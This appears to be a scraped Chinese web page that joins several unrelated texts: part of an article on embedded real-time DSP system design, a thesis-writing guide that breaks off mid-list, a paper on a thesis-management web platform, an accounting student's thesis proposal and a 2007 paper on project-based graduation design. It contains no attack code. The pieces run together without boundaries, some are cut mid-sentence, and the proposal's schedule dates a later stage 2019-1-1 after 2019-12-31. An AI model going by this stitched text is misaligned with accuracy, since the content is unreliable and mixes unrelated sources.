S-R和R-R关系定义了对指定系统的时序要求。这种情况下所实现的功能必须足够快(或足够慢)才能满足时序要求。S-S和R-S约束暗示系统必须能够从环境(可能是一个用户或另外一个系统)中检测出特定时序约束的破坏。这些约束与功能的快慢没有关系,相反它们能够检测出某些遭到破坏的时序约束并采取必要的措施。
因此要从最初系统要求设计时就很好地理解这一点,因为S-R和R-R约束可以引导设计工程师进行代码优化,而S-S和R-S约束需要用额外的软件来检测和响应时序冲突。
处理器选择
嵌入式实时系统比较适合用于系统优化。由于这些系统主要用来解决范围相对较窄的问题,因此硬件和软件能够得到最佳优化,并很好地应用于单一设备。这样做的目的是要在软硬件最佳折衷状态下开展系统设计。影响这一阶段设计的主要因素是处理器的选择、软硬件的分割和总体系统集成。
在为嵌入式实时系统选择处理器时需要考虑以下几个方面:
1.性能:处理器必须有足够的性能执行任务和支持产品生命周期。
2.实现:根据具体应用情况,处理器可能需要被高度集成。在DSP应用中可以有好几种选择,专用集成电路(ASIC)就是其中的一种。这些器件可以被用作DSP协处理器,但对于许多通用信号处理来说显得不够灵活。另外可以选择精简指令集计算机(RISC)处理器。这些处理器的时钟速度特别快,但可扩展性不是很强,而且会发生其它实时(可预测性)问题。现场可编程阵列(FPGA)是一种快速器件,能够快速高效地完成某些DSP功能,但与DSP相比开发难度比较大,因为在DSP中一个简单的程序就能完成相同的功能。如果是主信号处理应用,则最好采用性能强大功耗也较大的通用处理器。如果需要快速升级信号处理应用,采用DSP等可编程器件比定制的硬件方案要更好些。
3.工具支持:支持软件创建、调试、系统集成、代码调整和优化工具对整体项目成功与否非常关键。
4.操作系统支持:嵌入式系统应用需要使用有帮助的抽象来减少其复杂性。针对处理器系列产品作过优化的商用操作系统(OS)能够缩短设备开发周期和上市时间。
5.过去的经验:拥有处理器或处理器系列产品的开发经验可以减少可观的学习新处理器、工具和技术的时间。
6.仿真支持:循环精确仿真对某些类型的应用来说非常重要,特别是数字信号处理应用中许多功能正确性验证都是采用仿真技术完成的。嵌入式系统的软硬件协同设计模型也促使处理器仿真器成为开发流程中一个非常有用的工具。
7.应用支持:应用支持有多种方式,从通过热线或网站取得的应用专家支持,到预打包的软件和应用框架,甚至完好的测试平台。一些DSP处理器能够提供器件的驱动器、板级支持包和其它“启动帮助组件”。有了这些软件组件后,应用开发师就无需再编写器件驱动器等“无附加值”的软件,相反,他们可以把精力放在具有附加值的功能开发上,使他们的产品能独树一帜。
8.成本:嵌入式应用对成本特别敏感,而产品成本的稍许差别都可能导致市场的失败。
9.功耗:市场上有许多依靠电池工作的便携嵌入式实时系统,此时电池寿命将成为系统的重要参数。这种情况下应该考虑使用针对便携式应用优化的低功耗器件。
10.传统代码:如果选中的处理器需要设计人员编写与现存代码的接口,将会导致整个设计流程的严重滞后。因此需要选择一款代码兼容的器件来避免或减少这一步骤造成的影响。
11.算法复杂性:某些处理器能够非常高效地处理某类算法,因此最好选择能够与应用最佳匹配的处理器。例如,具有许多控制代码的有限状态机应用应该映射为类似ARM处理器的RISC器件。编码、解码和回波抵消等信号处理应用应该映射为数字信号处理器,或具有信号处理加速器的某种器件。
12.上市时间:项目的完成时间会加快处理器的选择过程,这一过程与先前讲述的几个关键事项密切相关,如OS的可用性、其它软件组件以及便携性问题。
设计还是购买?
是自己设计还是购买成品呢?如果有可能不重新设计,价格也比较合理的话,购买要比自己开发更有利。由于嵌入式系统预算的缩减、实时操作系统(RTOS)和TCP/IP堆栈等商用技术的改进、嵌入式系统要求的扩展,采用商业性现成(COTS)技术正变得越来越普遍。采用COTS技术能够缩短开发周期中编码、调试、单元测试和代码检查阶段的时间。
然而,作出购买而非设计的决定会改变一个组织的基础开发流程。一个组织希望实现的新业务有:供应商调研和评估、产品评估以及实时的供应商交流与关系建立。产品开发的其它活动不会取消,但会作出一些改变。这些变化包括更关注如何将系统硬件与软件更好地组合在一起,而不再把重点放在模块自己内部的运作上。另外必须更侧重于兼容性、可配置性和可集成性等结构上的问题。
必须很好的理解和高效地管理由于决定采用“购买”而非“设计创建”方式所导致的结果。首先,自然是对供应商提出产品要求、产品可靠性、计划和产品文档等依赖请求。这种情况下产品要求中的灵活性会打些折扣。购买商用产品意味着接受现有的产品要求,但这种要求也许不能完美地匹配自身产品的要求,这就需要设计人员把这种缺点与COTS技术提供的成本与上市时间优势作一个理智的权衡。
因此重要的是最终用户与技术人员必须参与COTS供应商的选择,考虑的重点要放在业务需求上而非技术本身。性价比分析所要考虑的因素应包括易学性、易用性、供应商名声和长期稳定性、许可方式和培训。所有与性能有关的声明必须尽可能采用内部或外部基准或演示来到得有效性认证。为了避免可能出现的偏差,评估标准应该在收到供应商建议前就制定好。选择供应商的主要工作包括研究和理解技术标准和相当的文件、采用类似建议请求(RFP)的标准模式征求供应商的建议、对供应商建议进行评估和排序、选择供应商并签署合同。
除了评估技术外,还应对供应商本身进行评审。要充分了解供应商开业时间的长短、供应商的背景和名声、供应商的其它用户对它的评价和意见、供应商人力资源的投入和对你的计划或项目的支持情况,以及供应商对你业务和要求的理解程度,甚至对未来项目的承诺。以前软件团队认为软件开发方案遵循类似于创建架构的特定模式。提供符合一般模式的抽象方法能够使软件团队定制符合他们特殊要求的方案,同时遵循被前人证明是高效和正确的模式。
嵌入式系统供应商已经认识到需要通过提供软件组件和类似于设计模式的框架来加快软件开发进程。在DSP领域,供应商向DSP设计工程师提供包括参考框架(RF)在内的上百个以DSP为核心的软件组件用于产品和系统开发。设计完好的参考框架能够在设备开发的早期阶段让设计人员快速入门。RF内含方便易用并且适合多种应用的源代码。由此可以取消许多早期的低层设计决策,使开发人员能有更多的时间用在真正显示产品特色的代码开发上。设计人员可以选择能够最大程度满足他们系统需要的专业RF,然后集成适配的算法(可以是其它供应商出售的DSPCOTS算法,或供应商自己的算法)生成适合各种终端设备的特殊应用,如宽带、语音、视频图像、生物测量和无线设施。这些RF提供百分之百的C语言源码,并且没有版税要求。RF源代码可以从/downloadrfnow网站下载。
软件性能工程
许多嵌入式实时系统必须满足一系列性能目标。一般来讲,性能是一个软件系统或组件对时间要求满足程度的一种指示。这里的时间指标可以用响应时间和吞吐量来衡量,该时间值是指响应某种要求所需的时间,而吞吐量用以指示系统在特定时间间隔内能够处理的请求数量。可扩展性是嵌入式实时系统的另外一个重要指标,可以用它来衡量系统要求提高时系统能够继续满足响应时间或吞吐量要求的能力。
如果在整个开发生命周期内得不到正确的性能管理,那么即使选择了正确的处理器和软件也是徒劳的。性能故障的后果是非常严重的,它可能损伤与客户的关系,造成收入下降,甚至导致整个项目失败。因此在整个生命周期内需要随时关注性能问题。性能管理可以被动或主动完成。被动方式需要采用一个较大的处理器解决性能问题,它只在系统完成构架、设计和实现后处理性能问题,在解决问题前一直处于等待状态,直到实际需要测量的事件发生。主动方式是指整个生命周期内一直在跟踪和交流性能问题,同时开发用以识别性能劣化的进程,并在性能处理中培养团队成员。
进入21世纪以来,计算机成了第三次工业革命的重要领域。所以各个学校开设的计算机系或者计算机学院越来越多。当然,开设一个计算机专业,相比其他专业来说,比如机电、比如航空,比如信息,都要简单容易,计算机实验室也投入产出高很多。如何撰写计算机毕业论文,则是众多面临巨大竞争的计算机系学子们要考虑的事情,工科毕业论文不同文科毕业毕业论文,需要逻辑严密并且实验严格。所以,如何更好的撰写计算机毕业论文呢?
1.论文类型
不同的院系,不同的指导教师对本科毕业论文有不同的指导方法,在计算机系,本科毕业论文通常以下面四种类型:
1.1完成一个不太大的实际项目或在某一个较大的项目中设计并完成一个模块(如应用软件、工具软件或自行设计的板卡、接口等等),然后以工程项目总结或科研报告、或已发表的论文的综合扩展等形式完成论文。
1.2对一个即将进行的项目的一部份进行系统分析(需求分析,平台选型,分块,设计部分模块的细化)。例如对一个大中型企业管理信息系统中的财务部分进行调研,分析和设计等,这类工作可以没有具体编程,但应得到有关方面的初步认可,有一定的工作量。例如打印后有30页以上的报告。
1.3对某一项计算机领域的先进技术或成熟软件进行分析、比较,进而能提出自己的评价和有针对性创见。例如XML目前是因特网上新涌现的标记语言,它较HTML有许多无可比拟的优点,其中XML-QL是基于XML提出的一种新型查询语言,分析总结这一新型查询语言并探索它的实现途径是十分有意义的工作。再如对自由软件数据库系统MySQL,分析总结其在Web应用上的特色,并能将有关技术用于自己研制的系统中。这类工作要注意把分析和实验相结合,不要只停留在消化上。消化是前提,吸收和转化才是工作的重点。
1.4对某一个计算机科学中的理论问题有一定见解,接近或达到了在杂志上发表的水平。例如,解决了一个众所周知的问题,纠正了某杂志上理论的错误且提出解决修正方案,或自己提出有意义的模型,定义,且有定理、命题、或性能比较、分析、测试报告等。
一般而言,第四种较难,在若干年指导本科生毕业论文经验中,只有两位学生采用此形式写出了好的论文,据悉,这两位学生都顺利进入了博士生序列。
2.选题
2.1有科研项目的老师通常愿意从项目中选取本科生能完成的模块,交给学生作,然后以第一种形式写成论文。教师熟悉项目,项目有实用背景,一般而言,多数学生经过努力都能完成。但有些科研项目太难,或涉及保密内容,或本科生不容易完成,在这种情况下,教师可能会让已保送为研究生,或确定留校的学生作这类题目。
2.2学生自选题目,有些学生已联系好毕业后的工作单位,工作单位要求学生作某方面的项目,或已交给学生某方面的项目,经过指导教师认可,认为可作出合格的毕业论文,则可作这方面题目。这种方式下,学生积极性高,责任心较强,学以致用,一般论文的质量较好且成文后篇幅较大。
2.3教师根据社会需求,选择题目。例如,院系行政需要教学,科研和研究生信息管理系统,有的教师指导几位学生分别作大学院系行政管理子系统,博士生硕士生学籍管理子系统等等,有可能开始作出的软件还不很完善,但有了雏形,经过修改后,一般是能够应用的。有的系统经过下一届本科生毕业实习的改进,就可以实用了。一些对路的、有用户的软件还有可能进一步发展为产品
3.论文的组织安排
依据上述的论文类型,由于各类工作特点的不同,在搜集整理论文的素材、组织安排论文的结构方面,应有所不同,做到有的放矢。
3.1系统实现型论文:重点收集整理系统体系结构,程序模块调用关系,数据结构,算法,实验或测试等内容,论文结构一般安排如下:
(1)引言或背景(概述题目背景,实现情况,自己开发的内容或模块)一般谈课题意义,综述已有成果,如”谁谁在文献某某中做了什么工作,谁谁在文献某某中有什么突出贡献“,用“但是”一转,分析存在问题,引出自己工作必要性、意义和价值、创新点和主要思想、方法和结果。然后用“本文组织如下:第二节第三节....,第四节....."作为这段结束。
(2)系统体系结构(强调系统的整体性,突出自己工作在整体中的位置)
(3)主要实现功能的描述(包括模块调用关系,数据结构,算法说明,依据内容多少此部分可安排两到三节)
(4)实验或测试
(5)总结
3.2应用开发型论文:重点收集整理应用项目的背景分析,需求分析,平台选型,分块,设计部分模块的细化,使用的开发工具的内容。论文结构一般安排如下:
引言(重点描述应用项目背景,项目开发特色,工作难度等)
关键词:论文管理平台;B/S模式;三层架构
中图分类号:TP311.52
毕业论文是高等学校学生在掌握基本理论、基本知识和基本技能的基础上,运用本专业知识和技能所进行的全面的综合训练。当前不少高校对毕业论文的管理主要还是采取传统人工管理模式,在论文选题、论文指导、资料收集、报表提交等多方面存在效率低、效果差等问题。随着网络技术的不断发展,许多高校尝试使用信息技术对毕业论文进行管理,也有一些软件厂商开发了相应的通用软件平台。
多数系统向管理员、教师、学生三种类型的用户提供服务,解决了导师出题、学生选题、毕业论文材料的上交与审核。有的系统还实现了师生实时交流、在线评审以及毕业统计等功能。
但是由于不同高校在毕业论文的组织和管理存在差异,开发一个适合本单位使用的毕业论文管理系统,更有利于论文管理和系统维护。为了进一步提高毕业设计(论文)教学效率,本平台结合某系在近些年实践教学环节中实际情况,应用软件工程的思想和方法研究了毕业论文管理平台的设计,实现了对毕业论文的网络管理,提高了效率和管理水平。
1 系统功能
根据《闽江学院毕业论文(设计)工作规定》,毕业论文写作的主要工作有:教学秘书进行毕业论文初始工作(设置参与论文写作工作的指导教师和学生,毕业论文工作计划、相关通知公告及相关表格文件等)、指导教师拟定毕业论文选题、学生选择或者自拟论文选题、师生互选、学生提交题目审批表、教师下达任务书、学生提交开题报告、论文写作与指导、中期检查、论文定稿、指导教师评阅、专家评阅、毕业论文答辩、毕业论文资料归档等工作。
2 系统功能模块
本系统的用户包括学生、教师、教学秘书、院系领导,系统设计目标是实现毕业论文管理的网络化、系统化、自动化。核心功能是教师拟出课题、学生选题、在线提交各种文档、在线论文指导。系统应满足学生、教师、教学秘书、院系领导四种类型的需要,针对不同类型,使用不同的功能模块。学生主要有选题、上传文档、提交论文等功能。教师有设定论文题目、选择学生、查看指导学生提交的文档等功能。教书秘书全程调节毕业设计进程。院系领导进行审查和审核。
2.1 教师模块
教师由教学设置用户名和账号。主要实现:课题、选择指导学生、任务书、审核开题报告、中期检查报告、修改论文、成绩评定等。
2.2 学生用户模块
学生使用平台登录,用户名和初始密码由系统给出。主要实现:选择课题、选择教师、填写题目审批表和开题报告、提交论文等功能。
2.3 教学秘书模块是毕业毕业论文管理平台的系统管理账户。主要实现:设置指导教师、设置指导学生、统计毕业论文报表、毕业论文计划。
2.4 院系领导模块
院系领导主要对毕业论文各阶段进行监督和审核。
3 系统总体结构设计
根据系统功能,设计采用以Web为基础的三层架构的B/S模式,分为客户层、应用层和数据层。
客户层:实现在客户端浏览器中显示的用户界面。该层可以调用由业务逻辑层提供的业务方法,也可以直接调用由数据层提供的接口访问数据库。客户层实现了系统与用户间的接口,用户通过Web浏览器访问论文管理平台。应用层作为系统核心,封装了主要的业务逻辑。
应用层:主要是针对具体的问题的操作,也可以理解成对数据层的操作,对数据业务进行逻辑处理。在接收了用户提交的http请求后,由Web应用服务器接受请求并由处理程序解释,并进行相应处理。操作结果以HTML页面的形式返回给浏览器。
采用三层结构这种模式能较好地适应开发,对代码重用、代码分层以及对以后的软件维护等等有很大的作用。尤其考虑到本平台在运行过程中随着毕业论文流程可能的变化以及对功能扩展的需求,更应该采用三层结构。
开发工具采用Visual 2010,编程语言采用C#,前端界面使用,采用Microsoft SQL Server2008作为后台数据库管理系统。其中是创建动态Web页的服务器端技术,作为应用程序采用的数据访问模型。在服务器端运行,应用程序使用连接数据源,并进行数据操作。
4 后台数据库设计
毕业论文平台后台使用SQL SERVER数据库。设计过程中使用ER图定义实体关系模型,并根据范式理论进行优化。
根据需求分析和设计要求,毕业论文平台主要包含以下数据表:
(1)Administrator,存储教学秘书信息。
(2)Dean,存储院系领导信息。
(3)Teacher,存储教师用户相关信息,包括用户名、密码和教师基本信息等。
(4)Student,用来存储学生用户相关信息。
(5)DepartmentInfo,用来存储院系信息。
(6)Plan,用来存储毕业论文计划信息。
(7)Thesis,用来存储毕业设计课题。
(8)Task,用来存储任务书信息。
(9)TitleForm,用来存储题目审批表信息。
(10)Report,用来存储开题报告信息。
此外还有一些辅助表。
5 系统的主要特色
考虑到本单位实际需求和运行情况,平台重点突出两大特色:
师生互选。教务秘书设定指导教师指导的学生总数,教师提交课题后,学生登录平台,查看相应课题,根据自己擅长或喜欢的方向进行选择。在选题的过程中,每个导师的学生数量有限,达到上限后,学生不能选择该导师,需要从其他导师的课题中重新进行选择课题。教师可以决定是否接受该学生。教师指导人数到达上限后,不再接受学生。
审批功能。教师可以查看到所指导学生的任务书、开题报告、毕业论文等信息,并进行审核。院系领导对教师审核后的文档进行最终审批。
6 结束语
本毕业论文管理系统基于本校实际开发,充分利用了网络资源,方便管理人员对毕业论文全阶段的监督和控制;使学生选题过程公开化、合理化,解决了以往选题散乱、人工干预多的问题;促进毕业指导老师与学生互动;较好地适应毕业论文管理需要。今后可以在平台上添加答辩管理、论文检索等功能,进一步规范和扩展使用空间。
参考文献:
[1]应颂翔.基于B/S架构的毕业论文管理信息系统设计[D].浙江工业大学,2011.
[2]潘旭武.基于工作流的毕业设计管理系统[J].计算机系统应用,2013(22):54-57.
随着21世纪互联网与电子商务的飞速发展,网络会计慢慢兴起,并逐渐得到推广和应用。会计网络化是采用现代信息技术,对传统的会计模型进行重整,在重整的现代会计基础上,建立信息技术与会计学科高度融合的,充分开放的现代会计信息系统。会计网络化是会计发展的必然趋势,是会计核算顺应信息化发展对传统会计进行变革的必然结果,而且是企业生存发展的迫切要求。会计网络化不仅能够促进企业重新考虑自己的信息化战略,还能提高企业各层管理人员信息化素养和会计知识管理的水平,并且为企业构建信息化管理平台提供参考,提高对竞争环境的快速反应的能力。在可预见的未来,会计网络化是会计发展的必然趋势。会计网络化对它所处社会的经济发展有很大的促进作用。
本文通过分析网络会计的特点及优势,阐述了网络会计的意义,重点分析了网络会计发展中存在的问题及解决对策,对网络会计前景的展望做了一些探讨。
二、毕业设计(论文)结构的初步设计和进度计划:
论文的初步设计:
一、网络会计的概述
二、我国网络会计发展的特点及优势
(一)核算的充分性和信息的无纸性 (二)信息处理、披露和使用的及时性
(三)会计信息的获取更具针对性
三、网络会计在发展中面临的问题
(一)信息在传递中存在问题 1。会计信息的真实性、可靠性
2。财务机密的保密性 3。会计信息是否被篡改
(二)计算机系统的安全性存在隐患
1。计算机硬件的安全性 2。网络系统的安全性
(三)对会计软件的新要求
1。对会计软件开发的要求 2。会计软件运行环境的要求
四、应对网络会计问题的对策
(一)加快立法工作 (二)健全内部控制 第一,建立会计电算化岗位责任制
第二,做好日常操作管理 第三,做好会计档案管理。
(三)从技术上,提高网络系统的安全性和保密性 第一,系统容错处理。
第二,安全管理体制。 第三,安全保密技术。 第四,为防止非法用户对网络环境下会计系统的入侵,可以采取端口技术和防火墙技术。 (四)加强网络会计信息安全控制措施 (五)加强人才培养,培养一大批复合型的会计人才
五、结论
六、致谢
三。毕业设计(论文)写作中存在的问题及解决措施:
1、选题困难:平时较少关注会计信息,对会计热点问题了解较少,对于论文题目的难易程度和范围自己不好控制。上网查找相关资料,了解各方面的信息,综合自己所学专业知识,大致上拟定几个题目,再请教老师,从中挑选一个适合的论文题目。
2、搜集资料:我国网络会计相对是一个比较新的会计领域,在这方面,会计界学者的研究还是比较有限的,资料搜集比较有难度,需要从多种渠道收集,上图书馆借阅相关图书,上中国知网搜索有关我国网络会计的相关资料,咨询专业老师获取相关建议。
3、毕业论文格式不熟悉:毕业论文对格式有着很高的要求,第一次写毕业论文,对格式很不熟悉,请教上一届的学长姐的同时上学校网上查找相关毕业论文格式的资料,另一方面在网上下载范文作为参考。
四、进度计划:(包括时间划分和各阶段主要工作内容)
总体安排:
首先与导师商定论文选题,之后就此选题到图书馆和网上进行资料收集,拟出论文提纲,再根据提纲完成论文初稿,并在导师的指导下进行论文修改,最后定稿。
具体安排:
第一阶段:准备阶段(2019—8—15至2019—11—8)
第二阶段:构建本论文的目标体系,设计内容,选择实施方法和途径(2019—11—9至2019—11—30)
第三阶段:完成初稿(2019—12—1——2019—12—31)
第四阶段:请指导教师审核初稿并征求意见(2019—1—1至2019—1—20)
第五阶段:修改论文初稿,完成二稿,请指导教师审核校阅(2019—1—20至2019—4—30)
第六阶段:毕业论文定稿并誊正(2019—5—1——2019—6—1)
第七阶段:毕业论文答辩(2019—6—8左右)
五、主要参考文献、资料:
[1]许永斌。电子商务会计。上海:立信会计出版社,2019。
[2]胡华。网络安全与会计控制。上海:立信会计出版社,2019。
[3]岳和平。网络化对未来会计工作产生的影响。太原科技,2019(3)。
[4]张英明。IT环境下会计信息系统内部控制研究。中国会计电算化,2019(1)。
[5]姚友胜。基于网络的企业内部控制及要素特征[J]。审计与经济研究,2019(6)。
[6]崔晓清。21世纪网络会计[J]。财务与会计,2019(4)。
[7]姚止海。网络时代挑战传统会计[J]。财务与会计,2019(4)。
[8]张前。网络环境下会计信息系统的特征[J]。广西会计,2019。
关键词:项目化;训练模式;毕业设计;软件开发
中图分类号:G642 文献标识码:B
文章编号: 1672-5913(2007)10-0104-04
1“项目化”训练模式
浙江万里学院自2005年9月开始,在计算机专业部分实践课程教学中实施了“项目化”教学训练模式,比如“Internet应用”、“软件工程”、“专业实验”、“课程设计”等课程,学生们普遍表现出对于这种教学训练方式的欢迎,较好地提高了学习兴趣,给学生带来了良好的就业效应。
“项目化”训练模式是指在计算机专业实践性课程教学中,实践内容按照不同的规格形式设计成不同的演练项目,将参与的学生按课题组(项目团队)进行分组,组内学生分配不同任务,通过参与不同项目角色的演练,完成不同规格的要求,最终达到教学目标的一种个性化训练模式。项目,即与计算机专业相关的工程项目,可以是有一定综合性的课程实验项目,设计性的模拟项目,也可以是实际软件工程项目或其子项目等。实践性课程包含计算机专业实践教学体系之内的实验课程、课程设计、集中实践与实习,以及校外实习、毕业设计等,还包括素质拓展训练项目。该训练模式研究的目的是在1~4年级中,按照训练体系的安排,对学生实施“专业兴趣培养专业基础奠定专业技能训练行业小项目引导企事业实用项目开发”的过程培养,使学生在工程项目的认知、设计、开发、建设、管理、服务等系列训练过程中学习知识、锻炼技能、掌握技术、拓展素质、提升专业素养、实践能力和创新能力,为社会培养出贴近行业需求、角色定位明确、职业适应期短、综合素质高的应用型人才。
2毕业设计“项目化”组织
毕业设计是高等工科院校教学计划的重要组成部分,是工科类专业的最后一个教学环节。既是学生对所学专业知识综合运用的过程,也是学生将理论与实践相结合,发现、分析和解决问题,提高其能力的过程,更是培养学生创新精神的过程。抓好设计环节,无疑是极为重要的。然而,传统的工科学生毕业设计,大多是闭门造车,至多是模拟完成的。这种“纸上谈兵”式的毕业设计形式背离了高等教育培养人才的目标,严重脱离企业生产实际,造成了供需脱轨社会问题。
提倡产学结合的“项目化”毕业设计,改革毕业设计的内容和方式,对提高毕业设计质量,确保专业培养目标的实现具有重要意义。
在经过了一些课程“项目化”训练模式改革的基础上,部分学生已经具备了软件项目的设计开发能力,计算机系决定对2007届部分毕业生实施“项目化”的毕业设计改革尝试。项目来源于企业,其中较大的一个项目是宁波华力电脑公司进销存ERP项目,在经过充分的前期协商之后,学院与该公司签订了20万元的合作协议。项目按功能划分为五大模块:采购业务、销售业务、财务管理、其他管理、综合查询,如图1所示。
图1 项目模块划分
项目纳入毕业设计以后向全系师生公布,自愿报名,要求加入之后必须接受公司化管理机制,最终由7名教师和55名学生组成了一个大项目组,其组织结构如图2所示。
图2 项目人员组织结构
总负责人是有20余年软件设计开发经验的高级工程师(教师),办公室协调人员由教师担任,其余教师带领学生进入各项目模块,项目组和测试组成员全部由学生自主报名,在过程实施中也可适当调整,教师完全是以教练的角色参与项目过程。
3项目实施过程及要求
为了确保毕业设计质量,学院出台了一系列的规章制度,以加强毕业设计过程管理。对于基于实际项目的小组来说,时间限制、严格管理及规范要求尤为重要。
3.1时间保障
为缓解毕业设计与就业的时间冲突,毕业设计安排大多从第7学期开始,但是学生在第7学期依然会有课程学习、报考研究生、考公务员等事情,所以时间还是不宽松。我们的处理办法是:
(1) 在学期结束之前,从毕业论文要求的角度来讲,只要求项目组完成资料查阅,写出文献综述;确定方案,写出开题报告;从项目研发的角度来讲,要完成需求分析及初步方案论证。
(2) 在学期结束之后,项目组全体成员推迟放假10天,按照毕业设计进程计划及项目协议要求,完成项目的主体设计部分及相关工程文档初稿。
(3) 下学期开学的主要工作一方面是测试、整合、完善软件,最终交付用户使用;另一方面是完成整体毕业论文、工程文档、软件说明书等文档工作,准备论文答辩。
3.2过程管理
计算机与信息学院历年来注重毕业设计的过程管理工作,除了在二级学院网站上及时公布毕业设计进程及详细要求之外,学院每年印刷毕业设计手册,师生人手一册,包括了进度计划、选题申请表,文献综述、开题报告、任务书、论文等写作指导,以及论文详细格式规范、答辩记录与要求、成绩评定标准、过程管理监督签字表等内容。其中,过程管理签字表是为了确保毕业设计质量而要求每两周至少完成一次“毕业设计导师―班级导师―辅导员”三级签字手续,由导师分配设计任务,学生描述其完成情况,班级导师和辅导员给予确认。近几年实施结果表明,这是一种切实可行的保障毕业设计质量的措施。
对于项目组成员来说,由于有实际任务的压力,有项目经理负责管理,加上角色分工明确、要求具体,而且又是在集中时间、集中实验室中进行,因此过程管理比较容易。大多数同学都非常积极主动,争取早日完成指定任务,有些设计内容来回修改多次,从完成到完善,都是在项目总负责人的协调下进行。学生们从中不仅得到了软件开发过程的规范化锻炼,更重要的是学会了管理自己,学会了个人服从集体,学会了与客户、其他项目组、项目组内部人员之间的沟通协作问题。
3.3工程文档规范要求
软件开发工作技术性很强,除了要求参与人员必须具有一定的技术水平,更需要具备写文档的能力。因为一方面从事软件业人员的流动性比较大,一旦主要负责人员离开,又没有规范化文档留下,后续工作会变得非常困难。另一方面对于软件本身的更新与修改来说,同样离不开前期文档。从软件开发公司的实际运行结果看,文档问题长久以来一直困扰着整个行业。在著名软件的发展历史上,也不乏印证软件过程文档重要性的实例。
从毕业论文的角度,要求学生必须具备规范的文献综述、开题报告、中英文摘要、论文正文、参考文献、致谢、资料翻译等近两万字的文档材料。
从项目研发角度,要求学生提供:需求规格说明书、概要设计说明书、过程设计(亦称为详细设计)说明书、测试计划、测试报告、用户操作手册、项目开发总结报告、程序维护手册、软件问题报告和软件修改报告等相关文档。
本项目最后要形成一套面向客户的、详细的软件使用手册,一套面向软件工程的、标准的工程文档,多套面向毕业设计的、符合毕业论文要求和规范的毕业论文文档。
4思考
2007届基于实际项目的“项目化”毕业设计的实施,是浙江万里学院计算机专业教学改革的一次尝试。无论是从专业建设、学院教学改革方面,还是从教师角色挑战、学生学习重心偏移等方面,都是值得深入思考的。
(1) 学院领导的改革思路及大力支持至关重要。浙江万里学院各级领导都很年青,思维活跃、改革进取,使得学校得以快速发展。计算机专业的这种公司式的“项目化”毕业设计组织实施,如果没有学院在政策、经费、实验设备及场地上的大力支持,是无法实现的。
(2) 教师需要转变观念并付诸行动。近两年的改革活动,我们已经有近30名来自教学一线的教师参与,为培养“双师型”教师提供了锻炼的机会。特别是这次毕业设计的实际项目操作,对教师自身素质能力是一种挑战,大部分青年教师非常热心地投入,表现了极大的参与热情,突现出一批优秀的教师。但是也还存在着以下问题:
一是大多数高校教师都是出学校进学校,重理论轻实践。由于自身缺乏实践经验,因此在教学上基本是“纸上谈兵”。比如程序设计语言课,特别注重语法知识的讲解,往往是半个学期还没有进入实际程序设计,学生被繁杂的语法搞得不知所措,兴趣全无,进而对编程课和专业课的学习失去信心,在进入毕业设计时就不知从何处下手了。
二是集体组织观念不强,责任感不够。有些开发过软件项目,具有较强实际动手能力的教师,喜欢以自己的思路单打独斗,唯我独尊,不听从别人的意见,不注重团队配合,组织管理及协调能力不到位。有些教师缺乏责任感,认为项目好坏是总经理的事,应付差事,不管项目进展到多么关键时刻,依然是自己的私事最重要。这些思路整合和人员协调问题轻者造成项目进程缓慢,无法按计划完成,重者可能会造成项目失败。
因此,如何整合教师队伍,提升其实践能力和业务素养,提高组织管理能力和团队意识?如何让他们都能充分发挥骨干的作用?是值得我们思考的问题。
(3) “项目化”毕业设计充分挖掘出一般院校学生的潜力,展现了他们活跃的思维与创意,可如何提高受益面呢?
以实际项目为目标,以实际公司化组织模式来组织师生团队,激发了学生们的创新热情。同时他们的表现也给老师们带来了惊喜,我们的学生有思想、会创新,同样具有废寝忘食的精神,动手能力不比一本、二本的学生差。这样的毕业设计活动深受学生及其家长欢迎,基于学院与北京起步科技公司合作人才培养协议,在这次毕业设计项目组中,有五位学生得到公司技术管理人员的认可,再经过明年几个月的训练,即可去北京总公司或上海的分公司应聘工作,待遇优厚。
但是,从这次项目组合来看,不是所有学生都能够积极主动,有些组中间不得不调换人员,原因是部分学生对软件开发不感兴趣,报名时有点混水摸鱼,没想到这么辛苦,还要迟放假,于是就知难而退,不思进取,这也是很多同类院校部分学生的现状问题。
(4) “项目化”实践教学评价体系的构建问题。在实际项目实施中,体现了沟通能力与团队协作精神的重要性。有些平时学习成绩好、但孤高自傲、独来独往的同学,不能与人和睦相处而不被团队欢迎。相反,平时学习成绩一般的学生,思维活跃、组织管理能力很强,反而能当好项目经理。这使得多年来以考试分数为唯一考评体系的教育模式受到冲击。目前,我们采取的主要考核办法是:不同的岗位角色给出不同考核标准,每一角色又是基于完成任务的效果及与他人合作的结果进行评定,目前还无法确定一个量化指标,有待进一步探讨。
5结束语
“项目化”训练模式是在计算机专业教育与社会需求之间出现脱离的情况下孕育而生的改革措施,是一种综合性强、互动性高、知识含量大、实用性广的实践教学活动。经过浙江万里学院计算机系从简单课程到毕业设计的教学试验表明,该模式彻底打破了学生只学习课本知识,不知道如何应用于实际的僵局,能快速提高学生软件开发的实战能力,锻炼学生的组织管理能力,培养学生的团队合作精神。很多学生由此看到了未来职业对自己的要求,因而端正了学习态度,明确了职业方向,增强了学习动力,提高了学习效果。教师们也普遍看到了这种教学模式对于扭转“供需不对应”社会问题的建设性作用。有理由相信,经过不断的探索和改进,一段时间后,这种模式必然会改进本专业毕业生的社会认可程度,为应用型本科院校计算机专业教学中闯出一条新的教学之路。
参考文献
[1] 黄明和等. “导师制下项目驱动教学模式”的研究与实践[J]. 计算机教育,2007,38,(2):29-32.
[2] 李继芳. 毕业设计(论文)过程管理与提高质量的探索[J]. 科技信息(学术版),2006,3,(B):24-25.
[3] 龚方红,汤正华,蒋必彪. 试论工程教育中的本科实验教学改革[J]. 中国高教研究,2006,(4):86-87.
收稿时间:2007-2-20